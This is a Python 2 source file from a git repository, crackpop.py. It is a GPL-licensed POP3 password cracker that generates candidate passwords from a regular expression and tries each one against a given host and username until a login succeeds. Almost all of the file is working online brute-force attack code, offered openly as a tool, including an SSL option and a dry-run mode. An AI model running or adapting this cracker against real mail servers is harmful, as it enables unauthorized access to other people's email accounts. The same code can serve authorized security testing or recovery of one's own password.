Fix a typo and fix some wording
[crackpop.git] / crackpop.py
1 #!/usr/bin/env python
2 #
3 # crackpop - a pattern-generated-dictionary pop3 password cracker
4 #
5 # Copyright (C) 2013  Antonio Ospite <ospite@studenti.unina.it>
6 #
7 # This program is free software: you can redistribute it and/or modify
8 # it under the terms of the GNU General Public License as published by
9 # the Free Software Foundation, either version 3 of the License, or
10 # (at your option) any later version.
11 #
12 # This program is distributed in the hope that it will be useful,
13 # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
15 # GNU General Public License for more details.
16 #
17 # You should have received a copy of the GNU General Public License
18 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
19
20 import argparse
21 import exrex
22 import poplib
23
24 __description = "crackpop is a pattern-generated-dictionary pop3 password cracker"
25 __version = "0.1"
26 __author_info = "Antonio Ospite"
27
28
29 def generate_passwords(password_pattern, dry_run=False):
30     passwords = list(exrex.generate(password_pattern))
31
32     if dry_run:
33         print "Generated %d passwords." % len(passwords)
34         for p in passwords:
35             print p
36         return []
37
38     return passwords
39
40
41 def crackpop(host, port, ssl, user, passwords):
42     if ssl:
43         pop3_connect = poplib.POP3_SSL
44     else:
45         pop3_connect = poplib.POP3
46
47     print "Testing %d passwords." % len(passwords)
48     for p in passwords:
49         # TODO maybe the same connection can be reused for more than one try,
50         # but some logic needs to be added to detect the maximum allowed
51         # authentication attempts or a disconnection from the server.
52         pop3 = pop3_connect(host, port)
53
54         try:
55             pop3.user(user)
56             pop3.pass_(p)
57         except Exception, e:
58             print e.message, "(password: %s)" % p
59             del pop3
60             continue
61         else:
62             print "Found! (password: %s)" % p
63             break
64
65
66 def option_parser():
67     usage = "usage: %(prog)s [options]"
68
69     parser = argparse.ArgumentParser(
70         usage=usage,
71         description=__description,
72         epilog=__author_info,
73         version='%(prog)s ' + __version)
74
75     parser.add_argument(
76         '-H', '--host',  metavar="<host>",
77         dest='host', required=True,
78         help='the host where the pop3 server is')
79
80     parser.add_argument(
81         '-P', '--port', metavar="<port>",
82         dest='port', default=poplib.POP3_PORT,
83         help='the port the pop3 server is listening on')
84
85     parser.add_argument(
86         '-u', '--user', metavar="<user>",
87         dest='user', required=True,
88         help='username of the pop3 account')
89
90     parser.add_argument(
91         '-p', '--pattern', metavar="<password_pattern>",
92         dest='password_pattern', required=True,
93         help='the regular expression describing the pattern of the password')
94
95     parser.add_argument(
96         '-d', '--dry-run',
97         dest='dry_run', action='store_const', const=True,
98         help='only print out the passwords, do not connect to the pop3 server')
99
100     parser.add_argument(
101         '-s', '--ssl',
102         dest='ssl', action='store_const', const=True,
103         help='use SSL to connect to the pop3 server')
104
105     parser.add_argument(
106         '-S', '--ssl-port', metavar="<ssl_port>",
107         dest='ssl_port', default=poplib.POP3_SSL_PORT,
108         help='the port the SSL pop3 server is listening on')
109
110     return parser
111
112
113 if __name__ == "__main__":
114     parser = option_parser()
115     args = parser.parse_args()
116
117     if args.ssl:
118         port = args.ssl_port
119     else:
120         port = args.port
121
122     passwords = generate_passwords(args.password_pattern, args.dry_run)
123     crackpop(args.host, port, args.ssl, args.user, passwords)